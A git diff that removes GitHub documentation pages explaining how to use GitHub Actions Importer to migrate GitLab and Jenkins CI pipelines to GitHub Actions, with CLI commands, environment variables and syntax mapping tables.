-| `<< pipeline.git.branch >>` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `<< pipeline.git.revision >>` | {% raw %}`${{ github.event.pull_request.head.sha }}`{% endraw %} |
-| `<< pipeline.git.base_revision >>` | {% raw %}`${{ github.event.pull_request.base.sha }}`{% endraw %} |
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-gitlab-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-gitlab-with-github-actions-importer.md
deleted file mode 100644
index 2be6fefb1870..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-gitlab-with-github-actions-importer.md
+++ /dev/null
@@ -1,421 +0,0 @@
----
-title: Migrating from GitLab with GitHub Actions Importer
-intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your GitLab pipelines to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Migration
- - CI
- - CD
-shortTitle: GitLab migration
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/migrating-from-gitlab-with-github-actions-importer
----
-
-[Legal notice](#legal-notice)
-
-## About migrating from GitLab with GitHub Actions Importer
-
-The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate GitLab pipelines to {% data variables.product.prodname_actions %}.
-
-### Prerequisites
-
-* A GitLab account or organization with pipelines and jobs that you want to convert to {% data variables.product.prodname_actions %} workflows.
-* Access to create a GitLab {% data variables.product.pat_generic %} for your account or organization.
-{% data reusables.actions.actions-importer-prerequisites %}
-
-### Limitations
-
-There are some limitations on migrating processes automatically from GitLab pipelines to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}.
-
-* Automatic caching in between jobs of different workflows is not supported.
-* The `audit` command is only supported when using an organization account. However, the `dry-run` and `migrate` commands can be used with an organization or user account.
-
-#### Manual tasks
-
-Certain GitLab constructs must be migrated manually. These include:
-
-* Masked project or group variable values
-* Artifact reports
-
-For more information on manual migrations, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions).
-
-## Installing the {% data variables.product.prodname_actions_importer %} CLI extension
-
-{% data reusables.actions.installing-actions-importer %}
-
-## Configuring credentials
-
-The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with GitLab and {% data variables.product.prodname_dotcom %}.
-
-1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic).
-
- Your token must have the `workflow` scope.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. Create a GitLab {% data variables.product.pat_generic %}. For more information, see [{% data variables.product.pat_generic_caps_plural %}](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) in the GitLab documentation.
-
- Your token must have the `read_api` scope.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command:
-
- ```shell
- gh actions-importer configure
- ```
-
- The `configure` command will prompt you for the following information:
-
- * For "Which CI providers are you configuring?", use the arrow keys to select `GitLab`, press Space to select it, then press Enter.
- * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press Enter.
- * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press Enter.{% else %}press Enter to accept the default value (`https://github.com`).{% endif %}
- * For "Private token for GitLab", enter the value for the GitLab {% data variables.product.pat_generic %} that you created earlier, and press Enter.
- * For "Base url of the GitLab instance", enter the URL of your GitLab instance, and press Enter.
-
- An example of the output of the `configure` command is shown below.
-
- ```shell
- $ gh actions-importer configure
- ✔ Which CI providers are you configuring?: GitLab
- Enter the following values (leave empty to omit):
- ✔ {% data variables.product.pat_generic_caps %} for GitHub: ***************
- ✔ Base url of the GitHub instance: https://github.com
- ✔ Private token for GitLab: ***************
- ✔ Base url of the GitLab instance: http://localhost
- Environment variables successfully updated.
- ```
-
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version:
-
- ```shell
- gh actions-importer update
- ```
-
- The output of the command should be similar to below:
-
- ```shell
- Updating ghcr.io/actions-importer/cli:latest...
- ghcr.io/actions-importer/cli:latest up-to-date
- ```
-
-## Perform an audit of GitLab
-
-You can use the `audit` command to get a high-level view of all pipelines in a GitLab server.
-
-The `audit` command performs the following steps:
-
-1. Fetches all of the projects defined in a GitLab server.
-1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow.
-1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}.
-
-### Prerequisites for the audit command
-
-In order to use the `audit` command, you must have a {% data variables.product.pat_generic %} configured with a GitLab organization account.
-
-### Running the audit command
-
-To perform an audit of a GitLab server, run the following command in your terminal, replacing `my-gitlab-namespace` with the namespace or group you are auditing:
-
-```shell
-gh actions-importer audit gitlab --output-dir tmp/audit --namespace my-gitlab-namespace
-```
-
-### Inspecting the audit results
-
-{% data reusables.actions.gai-inspect-audit %}
-
-## Forecast potential build runner usage
-
-You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your GitLab server.
-
-### Running the forecast command
-
-To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal, replacing `my-gitlab-namespace` with the namespace or group you are forecasting. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report.
-
-```shell
-gh actions-importer forecast gitlab --output-dir tmp/forecast --namespace my-gitlab-namespace
-```
-
-### Forecasting an entire namespace
-
-To forecast an entire namespace and all of its subgroups, you must specify each subgroup in the `--namespace` argument or `NAMESPACE` environment variable.
-
-For example:
-
-```shell
-gh actions-importer forecast gitlab --namespace my-gitlab-namespace my-gitlab-namespace/subgroup-one my-gitlab-namespace/subgroup-two ...
-```
-
-### Inspecting the forecast report
-
-The `forecast_report.md` file in the specified output directory contains the results of the forecast.
-
-Listed below are some key terms that can appear in the forecast report:
-
-* The **job count** is the total number of completed jobs.
-* The **pipeline count** is the number of unique pipelines used.
-* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners.
- * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs.
-* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it.
-* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure.
-
-Additionally, these metrics are defined for each queue of runners in GitLab. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners.
-
-## Perform a dry-run migration of a GitLab pipeline
-
-You can use the `dry-run` command to convert a GitLab pipeline to its equivalent {% data variables.product.prodname_actions %} workflow.
-
-### Running the dry-run command
-
-You can use the `dry-run` command to convert a GitLab pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline.
-
-To perform a dry run of migrating your GitLab pipelines to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `my-gitlab-project` with your GitLab project slug, and `my-gitlab-namespace` with the namespace or group (full group path for subgroups, e.g. `my-org/my-team`) you are performing a dry run for.
-
-```shell
-gh actions-importer dry-run gitlab --output-dir tmp/dry-run --namespace my-gitlab-namespace --project my-gitlab-project
-```
-
-### Inspecting the converted workflows
-
-You can view the logs of the dry run and the converted workflow files in the specified output directory.
-
-{% data reusables.actions.gai-custom-transformers-rec %}
-
-## Perform a production migration of a GitLab pipeline
-
-You can use the `migrate` command to convert a GitLab pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow.
-
-### Running the migrate command
-
-To migrate a GitLab pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the following values:
-
-* `target-url` value with the URL for your {% data variables.product.github %} repository
-* `my-gitlab-project` with your GitLab project slug
-* `my-gitlab-namespace` with the namespace or group you are migrating (full path for subgroups, e.g. `my-org/my-team`)
-
-```shell
-gh actions-importer migrate gitlab --target-url https://github.com/:owner/:repo --output-dir tmp/migrate --namespace my-gitlab-namespace --project my-gitlab-project
-```
-
-The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```shell
-$ gh actions-importer migrate gitlab --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --namespace octo-org --project monas-project
-[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log'
-[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1'
-```
-
-{% data reusables.actions.gai-inspect-pull-request %}
-
-## Reference
-
-This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from GitLab.
-
-### Using environment variables
-
-{% data reusables.actions.gai-config-environment-variables %}
-
-{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your GitLab instance:
-
-* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires the `workflow` scope).
-* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`).
-* `GITLAB_ACCESS_TOKEN`: The GitLab {% data variables.product.pat_generic %} used to view GitLab resources.
-* `GITLAB_INSTANCE_URL`: The URL of the GitLab instance.
-* `NAMESPACE`: The namespaces or groups that contain the GitLab pipelines.
-
-These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run.
-
-### Using optional arguments
-
-{% data reusables.actions.gai-optional-arguments-intro %}
-
-#### `--source-file-path`
-
-You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead.
-
-For example:
-
-```shell
-gh actions-importer dry-run gitlab --output-dir output/ --namespace my-gitlab-namespace --project my-gitlab-project --source-file-path path/to/.gitlab-ci.yml
-```
-
-If you would like to supply multiple source files when running the `forecast` subcommand, you can use pattern matching in the file path value. The following example supplies {% data variables.product.prodname_actions_importer %} with any source files that match the `./tmp/previous_forecast/jobs/*.json` file path.
-
-```shell
-gh actions-importer forecast gitlab --output-dir output/ --namespace my-gitlab-namespace --project my-gitlab-project --source-file-path ./tmp/previous_forecast/jobs/*.json
-```
-
-#### `--config-file-path`
-
-You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead.
-
-The `--config-file-path` argument can also be used to specify which repository a converted reusable workflow should be migrated to.
-
-##### Audit example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit.
-
-```shell
-gh actions-importer audit gitlab --output-dir path/to/output/ --namespace my-gitlab-namespace --config-file-path path/to/gitlab/config.yml
-```
-
-To audit a GitLab instance using a configuration file, the file must be in the following format, and each `repository_slug` value must be unique:
-
-```yaml
-source_files:
- - repository_slug: namespace/project-name
- path: path/to/.gitlab-ci.yml
- - repository_slug: namespace/some-other-project-name
- path: path/to/.gitlab-ci.yml
-```
-
-##### Dry run example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run.
-
-The pipeline is selected by matching the `repository_slug` in the configuration file to the value of the `--namespace` and `--project` options. The `path` is then used to pull the specified source file.
-
-```shell
-gh actions-importer dry-run gitlab --namespace my-gitlab-namespace --project my-gitlab-project-name --output-dir ./output/ --config-file-path ./path/to/gitlab/config.yml
-```
-
-##### Specify the repository of converted reusable workflows
-
-{% data variables.product.prodname_actions_importer %} uses the YAML file provided to the `--config-file-path` argument to determine the repository that converted reusable workflows are migrated to.
-
-To begin, you should run an audit without the `--config-file-path` argument:
-
-```shell
-gh actions-importer audit gitlab --output-dir ./output/
-```
-
-The output of this command will contain a file named `config.yml` that contains a list of all the composite actions that were converted by {% data variables.product.prodname_actions_importer %}. For example, the `config.yml` file may have the following contents:
-
-```yaml
-reusable_workflows:
- - name: my-reusable-workflow.yml
- target_url: https://github.com/octo-org/octo-repo
- ref: main
-```
-
-You can use this file to specify which repository and ref a reusable workflow or composite action should be added to. You can then use the `--config-file-path` argument to provide the `config.yml` file to {% data variables.product.prodname_actions_importer %}. For example, you can use this file when running a `migrate` command to open a pull request for each unique repository defined in the config file:
-
-```shell
-gh actions-importer migrate gitlab --project my-project-name --output-dir output/ --config-file-path config.yml --target-url https://github.com/my-org/my-repo
-```
-
-### Supported syntax for GitLab pipelines
-
-The following table shows the type of properties {% data variables.product.prodname_actions_importer %} is currently able to convert. For more details about how GitLab pipeline syntax aligns with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions).
-
-| GitLab Pipelines | GitHub Actions | Status |
-| :-------------------------------------- | :------------------------------ | :-------------------------- |
-| `after_script` | `jobs..steps` | Supported |
-| `auto_cancel_pending_pipelines` | `concurrency` | Supported |
-| `before_script` | `jobs..steps` | Supported |
-| `build_timeout` or `timeout` | `jobs..timeout-minutes` | Supported |
-| `default` | Not applicable | Supported |
-| `image` | `jobs..container` | Supported |
-| `job` | `jobs.` | Supported |
-| `needs` | `jobs..needs` | Supported |
-| `only_allow_merge_if_pipeline_succeeds` | `on.pull_request` | Supported |
-| `resource_group` | `jobs..concurrency` | Supported |
-| `schedule` | `on.schedule` | Supported |
-| `script` | `jobs..steps` | Supported |
-| `stages` | `jobs` | Supported |
-| `tags` | `jobs..runs-on` | Supported |
-| `variables` | `env`, `jobs..env` | Supported |
-| Run pipelines for new commits | `on.push` | Supported |
-| Run pipelines manually | `on.workflow_dispatch` | Supported |
-| `environment` | `jobs..environment` | Partially supported |
-| `include` | Files referenced in an `include` statement are merged into a single job graph before being transformed. | Partially supported |
-| `only` or `except` | `jobs..if` | Partially supported |
-| `parallel` | `jobs..strategy` | Partially supported |
-| `rules` | `jobs..if` | Partially supported |
-| `services` | `jobs..services` | Partially supported |
-| `workflow` | `if` | Partially supported |
-
-For information about supported GitLab constructs, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/gitlab/index.md).
-
-### Environment variables syntax
-
-{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default GitLab environment variables to the closest equivalent in {% data variables.product.prodname_actions %}.
-
-| GitLab | GitHub Actions |
-| :-------------------------------------------- | :------------------------------------------------------------------------------------ |
-| `CI_API_V4_URL` | {% raw %}`${{ github.api_url }}`{% endraw %} |
-| `CI_BUILDS_DIR` | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| `CI_COMMIT_BRANCH` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `CI_COMMIT_REF_NAME` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `CI_COMMIT_REF_SLUG` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `CI_COMMIT_SHA` | {% raw %}`${{ github.sha }}`{% endraw %} |
-| `CI_COMMIT_SHORT_SHA` | {% raw %}`${{ github.sha }}`{% endraw %} |
-| `CI_COMMIT_TAG` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `CI_JOB_ID` | {% raw %}`${{ github.job }}`{% endraw %} |
-| `CI_JOB_MANUAL` | {% raw %}`${{ github.event_name == 'workflow_dispatch' }}`{% endraw %} |
-| `CI_JOB_NAME` | {% raw %}`${{ github.job }}`{% endraw %} |
-| `CI_JOB_STATUS` | {% raw %}`${{ job.status }}`{% endraw %} |
-| `CI_JOB_URL` | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %} |
-| `CI_JOB_TOKEN` | {% raw %}`${{ github.token }}`{% endraw %} |
-| `CI_NODE_INDEX` | {% raw %}`${{ strategy.job-index }}`{% endraw %} |
-| `CI_NODE_TOTAL` | {% raw %}`${{ strategy.job-total }}`{% endraw %} |
-| `CI_PIPELINE_ID` | {% raw %}`${{ github.repository}}/${{ github.workflow }}`{% endraw %} |
-| `CI_PIPELINE_IID` | {% raw %}`${{ github.workflow }}`{% endraw %} |
-| `CI_PIPELINE_SOURCE` | {% raw %}`${{ github.event_name }}`{% endraw %} |
-| `CI_PIPELINE_TRIGGERED` | {% raw %}`${{ github.actions }}`{% endraw %} |
-| `CI_PIPELINE_URL` | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %} |
-| `CI_PROJECT_DIR` | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| `CI_PROJECT_ID` | {% raw %}`${{ github.repository }}`{% endraw %} |
-| `CI_PROJECT_NAME` | {% raw %}`${{ github.event.repository.name }}`{% endraw %} |
-| `CI_PROJECT_NAMESPACE` | {% raw %}`${{ github.repository_owner }}`{% endraw %} |
-| `CI_PROJECT_PATH_SLUG` | {% raw %}`${{ github.repository }}`{% endraw %} |
-| `CI_PROJECT_PATH` | {% raw %}`${{ github.repository }}`{% endraw %} |
-| `CI_PROJECT_ROOT_NAMESPACE` | {% raw %}`${{ github.repository_owner }}`{% endraw %} |
-| `CI_PROJECT_TITLE` | {% raw %}`${{ github.event.repository.full_name }}`{% endraw %} |
-| `CI_PROJECT_URL` | {% raw %}`${{ github.server_url }}/${{ github.repository }}`{% endraw %} |
-| `CI_REPOSITORY_URL` | {% raw %}`${{ github.event.repository.clone_url }}`{% endraw %} |
-| `CI_RUNNER_EXECUTABLE_ARCH` | {% raw %}`${{ runner.os }}`{% endraw %} |
-| `CI_SERVER_HOST` | {% raw %}`${{ github.server_url }}`{% endraw %} |
-| `CI_SERVER_URL` | {% raw %}`${{ github.server_url }}`{% endraw %} |
-| `CI_SERVER` | {% raw %}`${{ github.actions }}`{% endraw %} |
-| `GITLAB_CI` | {% raw %}`${{ github.actions }}`{% endraw %} |
-| `GITLAB_USER_EMAIL` | {% raw %}`${{ github.actor }}`{% endraw %} |
-| `GITLAB_USER_ID` | {% raw %}`${{ github.actor }}`{% endraw %} |
-| `GITLAB_USER_LOGIN` | {% raw %}`${{ github.actor }}`{% endraw %} |
-| `GITLAB_USER_NAME` | {% raw %}`${{ github.actor }}`{% endraw %} |
-| `TRIGGER_PAYLOAD` | {% raw %}`${{ github.event_path }}`{% endraw %} |
-| `CI_MERGE_REQUEST_ASSIGNEES` | {% raw %}`${{ github.event.pull_request.assignees }}`{% endraw %} |
-| `CI_MERGE_REQUEST_ID` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} |
-| `CI_MERGE_REQUEST_IID` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} |
-| `CI_MERGE_REQUEST_LABELS` | {% raw %}`${{ github.event.pull_request.labels }}`{% endraw %} |
-| `CI_MERGE_REQUEST_MILESTONE` | {% raw %}`${{ github.event.pull_request.milestone }}`{% endraw %} |
-| `CI_MERGE_REQUEST_PROJECT_ID` | {% raw %}`${{ github.repository }}`{% endraw %} |
-| `CI_MERGE_REQUEST_PROJECT_PATH` | {% raw %}`${{ github.repository }}`{% endraw %} |
-| `CI_MERGE_REQUEST_PROJECT_URL` | {% raw %}`${{ github.server_url }}/${{ github.repository }}`{% endraw %} |
-| `CI_MERGE_REQUEST_REF_PATH` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `CI_MERGE_REQUEST_SOURCE_BRANCH_NAME` | {% raw %}`${{ github.event.pull_request.head.ref }}`{% endraw %} |
-| `CI_MERGE_REQUEST_SOURCE_BRANCH_SHA` | {% raw %}`${{ github.event.pull_request.head.sha}}`{% endraw %} |
-| `CI_MERGE_REQUEST_SOURCE_PROJECT_ID` | {% raw %}`${{ github.event.pull_request.head.repo.full_name }}`{% endraw %} |
-| `CI_MERGE_REQUEST_SOURCE_PROJECT_PATH` | {% raw %}`${{ github.event.pull_request.head.repo.full_name }}`{% endraw %} |
-| `CI_MERGE_REQUEST_SOURCE_PROJECT_URL` | {% raw %}`${{ github.event.pull_request.head.repo.url }}`{% endraw %} |
-| `CI_MERGE_REQUEST_TARGET_BRANCH_NAME` | {% raw %}`${{ github.event.pull_request.base.ref }}`{% endraw %} |
-| `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | {% raw %}`${{ github.event.pull_request.base.sha }}`{% endraw %} |
-| `CI_MERGE_REQUEST_TITLE` | {% raw %}`${{ github.event.pull_request.title }}`{% endraw %} |
-| `CI_EXTERNAL_PULL_REQUEST_IID` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} |
-| `CI_EXTERNAL_PULL_REQUEST_SOURCE_REPOSITORY` | {% raw %}`${{ github.event.pull_request.head.repo.full_name }}`{% endraw %} |
-| `CI_EXTERNAL_PULL_REQUEST_TARGET_REPOSITORY` | {% raw %}`${{ github.event.pull_request.base.repo.full_name }}`{% endraw %} |
-| `CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME` | {% raw %}`${{ github.event.pull_request.head.ref }}`{% endraw %} |
-| `CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_SHA` | {% raw %}`${{ github.event.pull_request.head.sha }}`{% endraw %} |
-| `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | {% raw %}`${{ github.event.pull_request.base.ref }}`{% endraw %} |
-| `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | {% raw %}`${{ github.event.pull_request.base.sha }}`{% endraw %} |
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-jenkins-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-jenkins-with-github-actions-importer.md
deleted file mode 100644
index 9577404cc1f9..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-jenkins-with-github-actions-importer.md
+++ /dev/null
@@ -1,323 +0,0 @@
----
-title: Migrating from Jenkins with GitHub Actions Importer
-intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Jenkins pipelines to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Migration
- - CI
- - CD
-shortTitle: Jenkins migration
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/migrating-from-jenkins-with-github-actions-importer
----
-
-[Legal notice](#legal-notice)
-
-## About migrating from Jenkins with GitHub Actions Importer
-
-The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Jenkins pipelines to {% data variables.product.prodname_actions %}.
-
-### Prerequisites
-
-* A Jenkins account or organization with pipelines and jobs that you want to convert to {% data variables.product.prodname_actions %} workflows.
-* Access to create a Jenkins personal API token for your account or organization.
-{% data reusables.actions.actions-importer-prerequisites %}
-
-### Limitations
-
-There are some limitations when migrating from Jenkins to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}. For example, you must migrate the following constructs manually:
-
-* Mandatory build tools
-* Scripted pipelines
-* Secrets
-* Self-hosted runners
-* Unknown plugins
-
-For more information on manual migrations, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions).
-
-## Installing the {% data variables.product.prodname_actions_importer %} CLI extension
-
-{% data reusables.actions.installing-actions-importer %}
-
-## Configuring credentials
-
-The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Jenkins and {% data variables.product.prodname_dotcom %}.
-
-1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic).
-
- Your token must have the `workflow` scope.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. Create a Jenkins API token. For more information, see [Authenticating scripted clients](https://www.jenkins.io/doc/book/system-administration/authenticating-scripted-clients/) in the Jenkins documentation.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command:
-
- ```shell
- gh actions-importer configure
- ```
-
- The `configure` command will prompt you for the following information:
-
- * For "Which CI providers are you configuring?", use the arrow keys to select `Jenkins`, press Space to select it, then press Enter.
- * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press Enter.
- * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press Enter.{% else %}press Enter to accept the default value (`https://github.com`).{% endif %}
- * For "{% data variables.product.pat_generic_caps %} for Jenkins", enter the value for the Jenkins personal API token that you created earlier, and press Enter.
- * For "Username of Jenkins user", enter your Jenkins username and press Enter.
- * For "Base url of the Jenkins instance", enter the URL of your Jenkins instance, and press Enter.
-
- An example of the `configure` command is shown below:
-
- ```shell
- $ gh actions-importer configure
- ✔ Which CI providers are you configuring?: Jenkins
- Enter the following values (leave empty to omit):
- ✔ {% data variables.product.pat_generic_caps %} for GitHub: ***************
- ✔ Base url of the GitHub instance: https://github.com
- ✔ {% data variables.product.pat_generic_caps %} for Jenkins: ***************
- ✔ Username of Jenkins user: admin
- ✔ Base url of the Jenkins instance: https://localhost
- Environment variables successfully updated.
- ```
-
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version:
-
- ```shell
- gh actions-importer update
- ```
-
- The output of the command should be similar to below:
-
- ```shell
- Updating ghcr.io/actions-importer/cli:latest...
- ghcr.io/actions-importer/cli:latest up-to-date
- ```
-
-## Perform an audit of Jenkins
-
-You can use the `audit` command to get a high-level view of all pipelines in a Jenkins server.
-
-The `audit` command performs the following steps:
-
-1. Fetches all of the projects defined in a Jenkins server.
-1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow.
-1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}.
-
-### Running the audit command
-
-To perform an audit of a Jenkins server, run the following command in your terminal:
-
-```shell
-gh actions-importer audit jenkins --output-dir tmp/audit
-```
-
-### Inspecting the audit results
-
-{% data reusables.actions.gai-inspect-audit %}
-
-## Forecast potential build runner usage
-
-You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your Jenkins server.
-
-### Prerequisites for running the forecast command
-
-In order to run the `forecast` command against a Jenkins instance, you must install the [`paginated-builds` plugin](https://plugins.jenkins.io/paginated-builds) on your Jenkins server. This plugin allows {% data variables.product.prodname_actions_importer %} to efficiently retrieve historical build data for jobs that have a large number of builds. Because Jenkins does not provide a method to retrieve paginated build data, using this plugin prevents timeouts from the Jenkins server that can occur when fetching a large amount of historical data. The `paginated-builds` plugin is open source, and exposes a REST API endpoint to fetch build data in pages, rather than all at once.
-
-To install the `paginated-builds` plugin:
-
-1. On your Jenkins instance, navigate to `https:///pluginManager/available`.
-1. Search for the `paginated-builds` plugin.
-1. Check the box on the left and select **Install without restart**.
-
-### Running the forecast command
-
-To perform a forecast of potential {% data variables.product.prodname_actions %}, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report.
-
-```shell
-gh actions-importer forecast jenkins --output-dir tmp/forecast
-```
-
-### Inspecting the forecast report
-
-The `forecast_report.md` file in the specified output directory contains the results of the forecast.
-
-Listed below are some key terms that can appear in the forecast report:
-
-* The **job count** is the total number of completed jobs.
-* The **pipeline count** is the number of unique pipelines used.
-* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners.
- * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs.
-* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it.
-* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure.
-
-Additionally, these metrics are defined for each queue of runners in Jenkins. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners.
-
-## Perform a dry-run migration of a Jenkins pipeline
-
-You can use the `dry-run` command to convert a Jenkins pipeline to its equivalent {% data variables.product.prodname_actions %} workflow.
-
-### Running the dry-run command
-
-You can use the `dry-run` command to convert a Jenkins pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline.
-
-To perform a dry run of migrating your Jenkins pipelines to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `my-jenkins-project` with the URL of your Jenkins job.
-
-```shell
-gh actions-importer dry-run jenkins --source-url my-jenkins-project --output-dir tmp/dry-run
-```
-
-### Inspecting the converted workflows
-
-You can view the logs of the dry run and the converted workflow files in the specified output directory.
-
-{% data reusables.actions.gai-custom-transformers-rec %}
-
